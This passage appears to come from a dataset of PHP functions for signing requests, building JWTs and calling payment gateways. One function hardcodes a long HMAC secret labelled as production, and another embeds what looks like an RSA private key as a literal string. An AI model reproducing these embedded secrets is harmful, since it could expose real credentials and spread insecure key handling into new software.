\"12345\",\n \"PaymentForm\" => \"03\",\n \"PaymentMethod\" => \"PUE\",\n \"Currency\" => \"MXN\",\n \"Date\" => \"2021-01-19T09:51:39\",\n \"Items\" => [\n [\n \"Quantity\" => \"100\",\n \"ProductCode\" => \"84111506\",\n \"UnitCode\" => \"E48\",\n \"Unit\" => \"Unidad de servicio\",\n \"Description\" => \" API folios adicionales\",\n \"IdentificationNumber\" => \"23\",\n \"UnitPrice\" => \"0.50\",\n \"Subtotal\" => \"50.00\",\n \"Discount\" => \"10\",\n \"DiscountVal\" => \"10\",\n \"Taxes\" => [\n [\n \"Name\" => \"IVA\",\n \"Rate\" => \"0.16\",\n \"Total\" => \"6.4\",\n \"Base\" => \"40\",\n \"IsRetention\" => \"false\"\n ]\n ],\n \"Total\" => \"46.40\"\n ],\n [\n \"Quantity\" => \"1\",\n \"ProductCode\" => \"84111506\",\n \"UnitCode\" => \"E48\",\n \"Unit\" => \"Unidad de servicio\",\n \"Description\" => \" API Implementación \",\n \"IdentificationNumber\" => \"21\",\n \"UnitPrice\" => \"6000.00\",\n \"Subtotal\" => \"6000.00\",\n \"Taxes\" => [\n [\n \"Name\" => \"IVA\",\n \"Rate\" => \"0.16\",\n \"Total\" => \"960\",\n \"Base\" => \"6000\",\n \"IsRetention\" => \"false\"\n ]\n ],\n \"Total\" => \"6960.00\"\n ]\n ]\n ];\n\n // $result = $this->facturama->post('2/cfdis', $params);\n // api-lite\n $result = $this->facturama->post('api-lite/2/cfdis', $params);\n return $result;\n }", "function fsl_jwt_encode($array,$key)\n{\n return JWT::encode($array, $key);\n}", "function bank_sign_response_simple($mode, $response = array()){\n\tksort($response);\n\tforeach ($response as $k => $v){\n\t\tif (is_numeric($v)){\n\t\t\t$response[$k] = (string)$v;\n\t\t}\n\t}\n\t$s = serialize($response);\n\tinclude_spip(\"inc/securiser_action\");\n\t$sign = calculer_cle_action(\"bank-$mode-$s\");\n\treturn $sign;\n}", "abstract public function getRawSignedRequest();", "private function sendRequest(string $url, array $obj = [], bool $array=false, string $method = 'GET'){\n $ret = '';\n $sign = JWT::encode($obj, $this->secret);\n $obj['signature'] = $sign;\n $client = new \\GuzzleHttp\\Client();\n $arg = strtoupper($method) == 'GET' ? 'query' : 'body';\n $r = $client->request(strtoupper($method), $url, [$arg => $obj]);\n if($r->getStatusCode()==200){\n $ret = json_decode($r->getBody()->getContents(), $array);\n }\n return $ret;\n }", "public function setDataSignature() \n {\n $this->dataSignature = array(\n \"order_no\" => array(\"required\" => 1, \"type\" => \"int\"),\n \"order_status\" => array(\"required\" => 1, \"type\" => \"int\"),\n );\n }", "public function testAddSignature()\n {\n $data = array(\n 'foo' => 'baa'\n );\n\n $transaction = $this->client->transaction()->addSignature(655, $data);\n $this->assertEquals($data, get_object_vars($transaction->post), 'Passed variables are not correct');\n $this->assertEquals('POST', $transaction->request_method, 'The PHP Verb Is Incorrect');\n $this->assertEquals('/transactions/655/signature/capture', $transaction->path, 'The path is incorrect');\n\n }", "function fn_rus_payments_payanyway_send_order_info($params, $order_info)\n{\n $inventory_positions = fn_rus_payments_payanyway_get_inventory_positions($order_info);\n\n if (!empty($inventory_positions)) {\n $data = array(\n 'id' => $params['MNT_TRANSACTION_ID'],\n 'checkoutDateTime' => date(DATE_ATOM),\n 'docNum' => $params['MNT_TRANSACTION_ID'],\n 'docType' => 'SALE',\n 'email' => $order_info['email'],\n 'inventPositions' => $inventory_positions,\n 'moneyPositions' => array(array('paymentType' => 'CARD', 'sum' => $params['MNT_AMOUNT']))\n );\n\n $mnt_dataintegrity_code = $order_info['payment_method']['processor_params']['mnt_dataintegrity_code'];\n $data['signature'] = md5($data['id'] . $data['checkoutDateTime'] . $mnt_dataintegrity_code);\n $jsonData = json_encode($data);\n $operationUrl = PAYANYWAY_GATEWAY_URL . '/api/api.php?method=sale&accountid=' . $params['MNT_ID'];\n\n $extra = array(\n 'headers' => array(\n 'Content-Type: application/json',\n 'Content-Length: ' . strlen($jsonData)\n ),\n 'log_preprocessor' => '\\Tygh\\Http::unescapeJsonResponse'\n );\n\n Http::post($operationUrl, $jsonData, $extra);\n }\n}", "private function _sign_signature_v4($bodyParams)\n\t{\n $ldt = gmdate(self::ISO8601_BASIC);\n $sdt = substr($ldt, 0, 8);\n $parsed = [\n 'method' => 'POST',\n 'path' => '/',\n 'query' => [],\n\t\t\t'uri' => 'https://email.' . $this->region . '.amazonaws.com/',\n 'headers' => [\n\t\t\t\t\t\t\t'host' => ['email.' . $this->region . '.amazonaws.com'],\n\t\t\t\t\t\t\t'x-amz-date' => [date(DATE_RSS)],\n\t\t\t\t\t\t\t],\n 'body' => $bodyParams,\n 'version' => 'HTTP/1.1'\n ];\n\t\t$cs = $this->createScope($sdt, $this->region, $this->service);\n\t\t$this->credentialScope = $cs;\n\t\t$payload = http_build_query($bodyParams); \n\n $context = $this->createContext($parsed, hash('sha256', $payload));\n\t\t$toSign = $this->createStringToSign($ldt, $cs, $context['creq']);\n\n $signingKey = $this->getSigningKey(\n $sdt,\n \\Config::get('ses.region'),\n 'ses',\n \\Config::get('ses.secret_key')\n\t\t);\n\t\t\n\t\t$signature = hash_hmac('sha256', $toSign, $signingKey);\n\t\t$accessKey = \\Config::get('ses.access_key');\n $parsed['headers']['Authorization'] = [\n \"AWS4-HMAC-SHA256 \"\n . \"Credential={$accessKey}/{$cs}, \"\n . \"SignedHeaders=host;x-amz-date, Signature={$signature}\"\n\t\t];\n\t\t\n\t\treturn implode(\"\", $parsed['headers']['Authorization']);\n\t}", "private function makeDataToSign($auth_header) {\r\n\t\t$data_to_sign = array(\r\n\t\t\t$this->method,\r\n\t\t\t$this->protocol,\r\n\t\t\t$this->host,\r\n\t\t\t$this->path,\r\n\t\t\t/*\r\n\t\t\t * MFC 12/24/2014\r\n\t\t\t * Replaced headers with null as the servers don't accept headers as part of the signature\r\n\t\t\t * \r\n\t\t\t * $this->canonicalizeHeaders($this->headers),\r\n\t\t\t */\r\n\t\t\tnull,\r\n\t\t\t$this->body_to_sign ? $this->makeContentHash($this->body_to_sign) : null,\r\n\t\t\t$auth_header\r\n\t\t);\r\n\t\t$this->verbose('data_to_sign (array)', $data_to_sign);\r\n\r\n\t\t$return_dts = implode(\"\\t\", $data_to_sign);\r\n\t\t$this->verbose('return_dts (imploded string)', str_replace(\"\\t\", \"\\\\t\", $return_dts));\r\n\r\n\t\treturn $return_dts;\r\n\t}", "function simpleid_sign(&$response, $assoc_handle = NULL) {\n global $version;\n \n if (!$assoc_handle) {\n $assoc = _simpleid_create_association(ASSOCIATION_PRIVATE);\n $response['openid.assoc_handle'] = $assoc['assoc_handle'];\n } else {\n $assoc = cache_get('association', $assoc_handle);\n \n if ($assoc['created'] + SIMPLEID_ASSOC_EXPIRES_IN < time()) {\n // Association has expired, need to create a new one\n log_notice('Association handle ' . $assoc['assoc_handle'] . ' expired. Using stateless mode.');\n $response['openid.invalidate_handle'] = $assoc_handle;\n $assoc = _simpleid_create_association(ASSOCIATION_PRIVATE);\n $response['openid.assoc_handle'] = $assoc['assoc_handle'];\n }\n }\n \n // If we are using stateless mode, then we need to cache the response_nonce\n // so that the RP can only verify once\n if (isset($assoc['private']) && ($assoc['private'] == 1) && isset($response['openid.response_nonce'])) {\n cache_set('stateless', $response['openid.response_nonce'], array(\n 'response_nonce' => $response['openid.response_nonce'],\n 'assoc_handle' => $response['openid.assoc_handle']));\n }\n \n // Get all the signed fields [10.1]\n openid_parse_request($response); // Fill the namespace array\n $signed_fields = array('op_endpoint', 'return_to', 'response_nonce', 'assoc_handle', 'identity', 'claimed_id');\n $signed_fields = array_merge($signed_fields, extension_invoke_all('signed_fields', $response));\n \n // Check if the signed keys are actually present\n $to_sign = array();\n foreach ($signed_fields as $field) {\n if (isset($response['openid.' . $field])) $to_sign[] = $field;\n }\n \n $response['openid.signed'] = implode(',', $to_sign);\n \n // Generate signature for this message\n $mac_key = $assoc['mac_key'];\n $assoc_types = openid_association_types();\n $hmac_func = $assoc_types[$assoc['assoc_type']]['hmac_func'];\n \n $response['openid.sig'] = openid_sign($response, $to_sign, $mac_key, $hmac_func, $version);\n \n log_info('OpenID signed authentication response: ' . log_array($response));\n \n return $response;\n}", "function bank_response_simple($mode, $c = null){\n\t$vars = array('id_transaction', 'transaction_hash', 'autorisation_id', 'abo', 'montant');\n\t$response = array();\n\tforeach ($vars as $k){\n\t\tif (!is_null($v = _request($k, $c))){\n\t\t\t$response[$k] = $v;\n\t\t}\n\t}\n\n\tif (!$s = _request('sign', $c)\n\t\tOR $s!==bank_sign_response_simple($mode, $response)){\n\n\t\tspip_log(\"bank_response_simple : signature invalide\", \"bank\" . _LOG_ERREUR);\n\t\treturn false;\n\t}\n\treturn $response;\n}", "private function sign($method, $headers, $object=NULL, $params=NULL) {\n // add x-ms headers to signature\n $ms_headers = array();\n foreach($headers as $key => $val) {\n if (preg_match('/^x-ms/', $key)) $ms_headers[strtolower($key)] = $val;\n }\n ksort($ms_headers);\n $ms_string = '';\n foreach($ms_headers as $key => $val) $ms_string .= $key . ':' . trim($val) . \"\\n\";\n \n $uri = '/' . $this->options['store_key'] . '/' . $this->options['store_container'];\n if ($object) $uri .= '/' . $object;\n $string = sprintf(\"%s\\n%s\\n%s\\n%s\\n%s%s\", \n strtoupper($method),\n '',\n isset($headers['Content-Type']) ? $headers['Content-Type'] : '',\n $headers['date'], \n $ms_string,\n $uri);\n if ($params) {\n $started = FALSE;\n ksort($params);\n foreach($params as $key => $val) {\n // don't include some parameters in the signature\n if ($key == 'restype' || $key == 'blockid') continue;\n $string .= ($started ? '&' : '?') . $key . '=' . $val;\n $started = TRUE;\n }\n }\n print_msg(sprintf('Signing string %s', str_replace(\"\\n\", '\\n', $string)), isset($this->options['verbose']), __FILE__, __LINE__);\n\t\t$signature = base64_encode(hash_hmac('sha256', $string, base64_decode($this->options['store_secret']), TRUE));\n\t\treturn sprintf('SharedKeyLite %s:%s', $this->options['store_key'], $signature);\n }", "public function mefSignature() {\r\n\t$encoded_header = base64_encode('{\"alg\": \"HS512\",\"typ\": \"JWT\"}');\r\n\t$iss = 'CISCAR';\r\n\tif(isset($_GET['annuaire']) && $_GET['annuaire'] == 2 )\r\n\t{\r\n\t\t\t$iss = 'GCR';\r\n\t}\r\n\t// base64 encodes the payload json\r\n\t$encoded_payload = base64_encode('{\r\n\t\t\t\"iat\": \"'.time().'\",\r\n\t\t\t\"iss\": \"'.$iss.'\",\r\n\t\t\t\"aud\": \"https://boxstva-client.stva.com\",\r\n\t\t\t\"sub\": \"'.$this->getIndividuID().'\",\r\n\t\t\t\"family_name\": \"'.utf8_encode($this->getNom()).'\",\r\n\t\t\t\"given_name\": \"'.utf8_encode($this->getPrenom()).'\",\r\n\t\t\t\"ordering_party\": \"'.$this->getRolePrinc().'\",\r\n\t\t\t\"entities\": \"'.$this->getRattachements().'\"\r\n\t\t}');\r\n\t\r\n\t// base64 strings are concatenated to one that looks like this\r\n\t$header_payload = $encoded_header . '.' . $encoded_payload;\r\n\t\r\n\t//Setting the secret key environnement de Pre-PROD\r\n\t//\"aud\": \"http://box-gcr-pp.stva.com.s3-website-eu-west-1.amazonaws.com\",\r\n\t//$secret_key = '+XgiH7AFTCCUSbuFyMiqYThoStVW7etx32VRhSAKvCrqZPK2rZ4r1gtXoBlZHEismbALi8KKdmdRd3MnoH/19nfwIOV0+tX8blaUy/cQLxCQmfL8BlWuDutdegs72js2zvGpbS1YxXgjWhd4RjsVPn0HSL7q3EBJBORwAELOpI4GZuqSCn1n/R/veZiq7giAv7Gxi+J1A+EOTXtOzZSiQa/tYvcm6xaPTNPzP9HdgxAeKMN4FV44dG+Q66wD14WYOBAo1IPHKvAdWSS53uwRVAb7HDDfflVLcib851LG7fLC6JXaUmdK0iTEU3qJV32wzlF5phax9t16GdJfmCqAxJDMHx0iIVtZYajZPHnPYzXoHHCSilHmPoPZZkmKjlC12L1m87QKVySqP9K3J9fORW+Tn3QIkIcvl+GA4vqomk7/eVP8NT9MwIOvV9pjMJl+cGIoIYYQZmqQ3+Pa7d1NjV0bx6I9WlJNAKYxC5zFvVzqlx5j/H5Wq91WLOrZZNGaE/kygrLmyCYWQiCNzNbwvEsAgCPUgGy0o9o2itVEL4zwzRWPrNDp4fivhMA87QzbzFkDvX9B6PBb1R/3EFy1uSAk22ovyK/fMmN6GRTNeDQdGRi/U64Ys9mA+UjzBi22gy8ZIgFfcnCfJIinMO5PCh2BJ2AQq3kKxe4AMEQmeno=';\r\n\r\n\t//Setting the secret key environnement de PRODUCTION\r\n\t//\"aud\": \"https://boxstva-client.stva.com\",\r\n\t$secret_key = 'Rn2ZvoU+dTOtpE/BOUEuMaf65G2l7lA1nDJV56hmLcl17Y6F2EPCSIrKRCCVWc/Zda7m5Bp/g9BYUIRVTvgmtlcghGRBtswGFwMjq0Ye4QVtmpa8qZBI0sTHGjnbwTvmqZmf1v2TAcJWsAIJsRcoX0IchGvhaEKUMnLAXAUQT4mBhSdUY7H/ZckUthciFveKtxvmKMfjOLJNqciD8fVapuzQBqSRzFhTifVceLG1EmouRnoE5vg3RERwEhpVqFmt0fo+VCOinAR0nHG5Nq0XWXUTmGGsbOcDljLxz+oLAN28cffMc+6OfxkRX3L5ILId3pHMvV+MJns9FCZSA6+u87s3K31fLARCvVP6aVXXRn+M6CGBLxjQtbGopeQCHBRaliNxGr5LJIAkLFusBeG7jqIpGToxqy+D87tiYrg1zG2iRFTkKtvMJRZxdEkCnwJx4jOmuVboKCdtAqCQNX9e4I6jKp+Gs8edSbbV+17TY422DqV+sOXIxMA6udZ1vWm9eDE25dVVoRfiQXC7U/BLEGkV3ocs5du15nD1+NEODqlrVW+2WceQ1yQcSF4hRsU7Wk1pJ+aMRvFkx6PV028nSLExxTTPkxw07BmmDU5W9E6KbLB1/NFtseSyzgxTacGlFEVxmS+Zq846NLcNTrwQuM15Bub4zAy1N8Qv2NeQs4I=';\r\n\t\r\n\t// Creating the signature, a hash with the s512 algorithm and the secret key. The signature is also base64 encoded.\r\n\t$signature = base64_encode(hash_hmac('sha512', $header_payload, $secret_key, true));\r\n\t//$signature = hash_hmac('sha512', $header_payload, $secret_key, true);\r\n\t\r\n\t// Creating the JWT token by concatenating the signature with the header and payload, that looks like this:\r\n\t$jwt_token = $header_payload . '.' . $signature;\r\n\t\r\n\t//listing the resulted JWT\r\n\t//echo $jwt_token;\r\n\t//print $jwt_token;\r\n\treturn $jwt_token;\r\n\t\r\n\t//$decoded_jwt = explode(\".\",$jwt_token);\r\n\t//$decoded_header = base64_decode($decoded_jwt[0]);\r\n\t//$decoded_payload = base64_decode($decoded_jwt[1]);\r\n\t//$decoded_signature = base64_decode($decoded_jwt[2]);\r\n\t//echo $decoded_signature;\r\n\t\r\n\t//die();\r\n\r\n\r\n//\t\t$data = 'my data';\r\n\t\t\r\n//\t\t//Crée une nouvelle clé privée et publique\r\n//\t\t$new_key_pair = openssl_pkey_new(array(\r\n//\t\t\t\t\"private_key_bits\" => 1024,\r\n//\t\t\t\t\"private_key_type\" => OPENSSL_KEYTYPE_RSA,\r\n//\t\t));\r\n//\t\topenssl_pkey_export($new_key_pair, $private_key_pem);\r\n\t\t\r\n//\t\t$details = openssl_pkey_get_details($new_key_pair);\r\n//\t\t$public_key_pem = $details['key'];\r\n\t\t\r\n//\t\t//Création de la signature\r\n//\t\topenssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA1);\r\n\t\t\r\n//\t\t//Sauvegarde pour utilisation ultérieur\r\n//\t\tfile_put_contents('private_key.pem', $private_key_pem);\r\n//\t\tfile_put_contents('public_key.pem', $public_key_pem);\r\n//\t\tfile_put_contents('signature.dat', $signature);\r\n//\t\tprint $private_key_pem;\r\n//\t\t//Vérification de la signature\r\n//\t\t$r = openssl_verify($data, $signature, $public_key_pem, \"sha1WithRSAEncryption\");\r\n//\t\tvar_dump($r);\r\n\t}", "function sign($privateKey, $publicKey=null, $createFile=true){\n if(!file_exists($this->file)){\n return array('status'=>'failed','message'=>'File not found');\n }\n if(empty($this->email)){\n return array('status'=>'failed','message'=>'Email mandatory');\n }\n $payload = array();\n\n // add if exists\n if(!empty($this->name)) $payload['name'] = $this->name;\n if(!empty($this->email)) $payload['email'] = $this->email;\n if(!empty($this->company)) $payload['company'] = $this->company;\n if(!empty($this->country)) $payload['country'] = $this->country;\n if(!empty($this->state)) $payload['state'] = $this->state;\n if(!empty($this->city)) $payload['city'] = $this->city;\n if(!empty($this->note)) $payload['note'] = $this->note;\n\n foreach($this->customData as $key => $value){\n $payload[$key] = $value;\n }\n\n $payload['file'] = (empty($this->realname)) ? basename($this->file):$this->realname;\n $payload['content_type'] = mime_content_type($this->file);\n $payload['size'] = filesize($this->file);\n $payload['sha256'] = hash_file(\"sha256\",$this->file);\n $payload['sha1'] = sha1_file($this->file);\n $payload['md5'] = md5_file($this->file);\n\n $payload['iat'] = time();\n //Add publicKey if exists\n if($publicKey!=null){\n $payload['key'] = $publicKey;\n $payload['key_sha1'] = sha1($publicKey);\n }\n $signs = array();\n if(file_exists($this->file.'.jwt.sign')){\n $sigs = explode(\"\\n\",str_replace(\"\\r\",'',file_get_contents($this->file.'.jwt.sign')));\n foreach($sigs as $sig){\n //if same as this email, it will not be added to array\n if(strpos($sig,$this->email)===false && !empty(trim($sig))){\n $signs[] = $sig;\n }\n }\n }\n\n try{\n $jwt = JWT::encode($payload, $privateKey , 'RS256');\n $signs[] = $this->email.\" \".$jwt;\n $signs = array_filter($signs);\n if($createFile)\n file_put_contents($this->file.'.jwt.sign',implode(\"\\n\",$signs));\n return array('status'=>'success','data'=>$jwt,'payload'=>$payload);\n }catch(\\Exception $e){\n return array('status'=>'failed','message'=>$e->getMessage());\n }\n }", "public function save_order_auth(Request $request){\n $ip = $_SERVER['REMOTE_ADDR'];\n $createid = time();\n $orderid = substr($createid, 6);\n $cart = cart::where('ip',$ip)->get();\n foreach ($cart as $value) {\n $save_order = new order;\n $save_order->orderid = $orderid;\n $save_order->productid = $value->productid;\n $save_order->qty = $value->qty;\n $save_order->customerid = $request->customerid;\n $save_order->save();\n if($save_order->save()){\n DB::delete('delete from carts where ip = ?', [$ip]);\n }\n }\n return json_encode([\n 'url' => '/order-details/' . $orderid,\n 'status' => 'success'\n ]);\n }", "public function encodeData( array &$data, $type = null )\n\t{\n $From = get( $this->config, 'From' );\n $BenAccNo = get( $this->config, 'BenAccNo' ); \n $BenName = get( $this->config, 'BenName' );\n $BenLegalId = get( $this->config, 'BenLegalId' );\n \n $language = strtoupper( $this->getLanguageCode() );\n $transaction = $this->getTransaction();\n \n \n switch( $type )\n {\n case self::DATA_AUTH_ENCODE:\n \n $xml = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>' . \n '<FIDAVISTA xmlns=\"http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1 http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1/fidavista.xsd\">' . \n '<Header>' . \n '<Timestamp>' . substr(date('YmdHisu'), 0, 17) . '</Timestamp>' . \n '<From>' . $From . '</From>' . \n '<Extension>' . \n '<Amai xmlns=\"http://online.citadele.lv/XMLSchemas/amai/\" xsi:schemaLocation=\"http://online.citadele.lv/XMLSchemas/amai/ http://online.citadele.lv/XMLSchemas/amai/amai.xsd\">' . \n '<Request>AUTHREQ</Request>' . \n '<RequestUID>' . time() . '</RequestUID>' . \n '<Version>2.0</Version>' . \n '<Language>' . $language . '</Language>' . \n '<ReturnURL>' . $this->getResponseURL() . '</ReturnURL>' . \n '<SignatureData />' . \n '</Amai>' . \n '</Extension>' . \n '</Header>' . \n '</FIDAVISTA>';\n \n break;\n \n case self::DATA_ENCODE:\n \n $xml = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>' . \n '<FIDAVISTA xmlns=\"http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1 http://ivis.eps.gov.lv/XMLSchemas/100017/fidavista/v1-1/fidavista.xsd\">' . \n '<Header>' . \n '<Timestamp>' . substr(date('YmdHisu'), 0, 17) . '</Timestamp>' . \n '<From>' . $From . '</From>' . \n '<Extension>' . \n '<Amai xmlns=\"http://online.citadele.lv/XMLSchemas/amai/\" xsi:schemaLocation=\"http://online.citadele.lv/XMLSchemas/amai/ http://online.citadele.lv/XMLSchemas/amai/amai.xsd\">' . \n '<Request>PMTREQ</Request>' . \n '<RequestUID>' . $this->getToken() . '</RequestUID>' . \n '<Version>2.0</Version>' . \n '<Language>LV</Language>' . \n '<ReturnURL>' . $this->getResponseURL() . '</ReturnURL>' . \n '<SignatureData />' . \n '<PaymentRequest>' . \n '<ExtId>' . $transaction->id . '</ExtId>' .\n '<DocNo>' . $transaction->id . '</DocNo>' . \n '<TaxPmtFlg>N</TaxPmtFlg>' .\n '<Ccy>' . $this->getCurrency() . '</Ccy>' .\n '<PmtInfo>' . $this->getDescription() . '</PmtInfo>' .\n '<BenSet>' .\n '<Priority>N</Priority>' . \n '<Comm>OUR</Comm>' .\n '<Amt>' . $this->getAmount() . '</Amt>' .\n '<BenAccNo>' . $BenAccNo . '</BenAccNo>' . \n '<BenName>' . $BenName . '</BenName>' .\n '<BenLegalId>' . $BenLegalId . '</BenLegalId>' . \n '<BenCountry>LV</BenCountry>' . \n '</BenSet>' . \n '</PaymentRequest>' . \n '</Amai>' . \n '</Extension>' . \n '</Header>' . \n '</FIDAVISTA>';\n \n break;\n }\n \n if( isset( $xml ) )\n {\n $doc = new DOMDocument();\n $doc->formatOutput = false;\n $doc->preserveWhiteSpace = false; \n $doc->loadXML( $xml );\n \n $objDSig = new XMLSecurityDSig();\n \n $objDSig->setCanonicalMethod( XMLSecurityDSig::EXC_C14N );\n \n $objDSig->addReference(\n $doc, \n XMLSecurityDSig::SHA1, \n array( 'http://www.w3.org/2000/09/xmldsig#enveloped-signature' ), \n array( 'force_uri' => true, )\n );\n \n $objKey = new XMLSecurityKey( XMLSecurityKey::RSA_SHA1, array( 'type' => 'private', ) );\n $objKey->loadKey( self::getPrivateKeyPath(), TRUE );\n \n $appendTo = $doc->getElementsByTagName('SignatureData')->item(0);\n $objDSig->sign( $objKey, $appendTo );\n \n $objDSig->add509Cert( file_get_contents( self::getPublicKeyPath() ) );\n \n $data['xmldata'] = $doc->saveXML();\n }\n\t\t\n\t\treturn;\n\t}", "private function sign( Ga_Lib_Api_Request $request ) {\n\t\t// Add the OAuth2 header to the request\n\t\t$request->set_request_headers( array( 'Authorization: Bearer ' . $this->token['access_token'] ) );\n\n\t\treturn $request;\n\t}", "private static function sign($value)\n {\n return config('encoder_service.sign') . $value;\n }", "public static function create_encryted_button($input){\n\t\t$input['cert_id'] = config::PAYPAL_CERT_ID;\n\t\t$lines = array();\n\t\t\n\t\tforeach ($input as $key => $value){\n\t\t\t$lines[] = \"{$key}={$value}\";\n\t\t}\n\t\t\n\t\t$content_file = tempnam($GLOBALS['core_path'] . '/tmp', 'PAYPAL_');\n\t\t$signed_content_file = tempnam($GLOBALS['core_path'] . '/tmp', 'PAYPAL_');\n\t\t$encrypted_content_file = tempnam($GLOBALS['core_path'] . '/tmp', 'PAYPAL_');\n\t\t\n\t\tfile_put_contents($content_file, implode(\"\\n\", $lines));\n\t\t\n\t\topenssl_pkcs7_sign($content_file, $signed_content_file, \"file://{$GLOBALS['core_path']}/vintagepantry-public.pem\", \"file://{$GLOBALS['core_path']}/vintagepantry-private.pem\", array(), PKCS7_BINARY);\n\t\t\n\t\t$signed_content = file_get_contents($signed_content_file);\n\t\t$signed_content = trim(substr($signed_content, strpos($signed_content, \"\\n\\n\")));\n\t\t$signed_content = base64_decode($signed_content);\n\t\t\n\t\tfile_put_contents($signed_content_file, $signed_content);\n\t\t\n\t\topenssl_pkcs7_encrypt($signed_content_file, $encrypted_content_file, file_get_contents(\"{$GLOBALS['core_path']}/paypal-public.pem\"), array(), PKCS7_BINARY);\n\t\t\n\t\t$result = file_get_contents($encrypted_content_file);\n\t\t$result = trim(substr($result, strpos($result, \"\\n\\n\")));\n\t\t$result = str_replace(\"\\n\", '', $result);\n\t\t\n\t\tunlink($content_file);\n\t\tunlink($signed_content_file);\n\t\tunlink($encrypted_content_file);\n\t\t\n\t\treturn \"-----BEGIN PKCS7-----{$result}-----END PKCS7-----\";\n\t}", "public function sign() : self\n {\n\n if ($this->is_signed()){\n return $this;\n }\n\n $signature = base64_encode(hash_hmac($this->algo, $this->getData(), $this->getKey(), true));\n\n $this->setSignature( $signature );\n\n $this->signed = true;\n\n \treturn $this;\n\n }", "private function Auth(): array{\n\t\t( empty($this->devkey) || empty($this->token) ) && self::throw_ecp(\"\\nエラー: アプリケーションキーか管理者IDが登録されていません。\");\n\t\t$nonce = base64_encode(random_bytes(32));\n\t\t$time = time();\n\t\treturn array(\n\t\t\t'nonce'=>$nonce,\n\t\t\t'time'=>$time,\n\t\t\t'auth_key'=>base64_encode(hash('sha256',$this->devkey.$nonce.$time.$this->token,TRUE))\n\t\t);\n\t}", "public function sign($url, $expiration, $timeunit);", "function _calculateStringToSignV2(array $parameters) {\n $data = 'POST';\n $data .= \"\\n\";\n $endpoint = parse_url ($this->_config['ServiceURL']);\n $data .= $endpoint['host'];\n $data .= \"\\n\";\n $uri = array_key_exists('path', $endpoint) ? $endpoint['path'] : null;\n if (!isset ($uri)) {\n $uri = \"/\";\n }\n $uriencoded = implode(\"/\", array_map(array($this, \"_urlencode\"), explode(\"/\", $uri)));\n $data .= $uriencoded;\n $data .= \"\\n\";\n uksort($parameters, 'strcmp');\n $data .= $this->_getParametersAsString($parameters);\n return $data;\n }", "function sign($date) {\n $key = base64_decode('MIIEowIBAAKCAQEA5NmI8GIsupuvOMXR4yfs8hK2RUmX/CKlHmLEr/b1mPr/gx+fenafOSKoXs7OUvUxF/CR0EW6iUJvJ9lmTACTZFsTfF+mSJZ76dpuh6J8BQj9lpnH+AEp05LqLr2zvlzkksrjYSW4hfaZqfUZDk8YvGsdBqDpWrEykD16R5Jv5Iw/Y13Jd99F5zYU+Z3M+XdBSrFSaDwU5GeiOQVyl8q/Bt9gY7O1HfqYY9udXmAzPfEaZdCqCj7B8V8Sj7Wc92TZ/fHabZFKzfhVwfHCAzK4mQZ1be8snJd1f9R2peqjzBEINGdOnAnm0rGItKZJY91LMYi5H6Wh/Qh21CYY4Ne2wwIDAQABAoIBAEKXQg+goZ9TOfNtLJvKvFncNAmJVp5Zfm6PEuiZFfID52HCS+eYqNA5U4Dy8HqXOkfbCrLt90+Fc07HJcsrx7fGAK+KLZqlnzz3AH6bOzdD3HZ8HQH/ZKpZ76bWMH1ODnzgaLWWAlGI5kHcPgQ549q/2FxbakunkC0ElpZI+CIqWEf0zNfTXOpExMWx+FENntk/qpHijE+zcbh1/cy8Bsmj0WcXZ3aTDElG3XCC21rPd7zgrFeL6Sy26Br0eqxqddatghZHB5PhZYE4BYM3AlZTZVfuDHogXn4BXILTyV+oQHNUzHKjStfVryJnslnWVAF5whaXGm1fyRY3WBAEmuECgYEA+AivBccqnKfgB7BTDTUMCdt7v+vVbR7CEZc5/jCRy+N0R6NN/L/+LdAAjsodjzVmkLOUzPbZhw72hHXA63RijAhSDeg8IdCUY1YVygyr5KZpHRnn96XJOucPCCFWFfiToJ2Qz+JfZMBUt9HhsSWGS2jF2hUGjixhRwFwTd5xtYsCgYEA7DMe0bJeF336UtgrY9MNVC1sc/A8sEeYtlr47rcLlRDboaO9PRsuIMssxiZ/9uRkYP1FDmS3S8pgwg4UuoVUYHg5Tt95iq3aK0BRQnpKuGIerbBCwFUBZMwpP1DW3fMKtOQ5pjoV74tqR+df7gD0hWlfMFV8WUP9vXLa+XBcWqkCgYEA85sbw3IEsQ3UY9jTCSKzqy7NUQcgfGb8NmiwBa7QU08XUpDatMYgsAAdvCBYfeH11WL7X3+G0DZq+lfo3ZhWfbBiXtRb0t5YD2RqTCK75PtoO7PI95r1lAuB4PtU4Ile/R4kL3jnNj4MNupFX0Y6qu/BetqxsIt4E1QfZ+t1BNcCgYBrDiCB2t5at3al5eSEsjvwU0Y8pj5bh5fnzwPU7pIJVkK12IkFETSvGGeKyBhnxszYSPLruyp455lDWy55+8RqlRMkdJWaDYI86EHsZ5FGUPKmtqUKl3yyOvbXA8TfhDDuHCMk/F7E2+OoA26vaS9q6H+EYLqjmvV+0Hf/ZrX1QQKBgGd8r9wi+fPG3IgGXHBQjmnVgaPNsvQzBKFmHrER0/iLZuA9A2R5x7DxZdHUSRWaPADIaHiU1O9jbNJCk7Jtnqn7M85Q0SRsqZhA2+28/1bmqrTkQmT7T9Q4+hUEN+qehZx83BkRYaP1QWuH11UcRxFr+O3HNXlC9mAG/zt6HhuV');\n $sig = hash_hmac('SHA1', $date, $key, true);\n $sig = base64_encode($sig);\n return $sig;\n }", "public function pay(): JsonResponse;", "public function sign($http_method, $url, $params, $secret) {\n $sig = array(\n strtoupper($http_method),\n preg_replace('/%7E/', '~', rawurlencode($url)),\n rawurlencode($this->get_signable_parameters($params)),\n );\n\n $base_string = implode('&', $sig);\n $sig = base64_encode(hash_hmac('sha1', $base_string, $secret, true));\n return $sig;\n }", "public function authorizeCapture($transaction)\n {\n \n $return = array(\n 'authorized' => 0,\n 'authorization_code' => '',\n 'transaction_id' => '',\n 'message' => ''\n );\n\n $products = array(); \n\n !is_object($transaction) ? $transaction = (object) $transaction : false;\n\n !empty($transaction->transaction_mode) ? 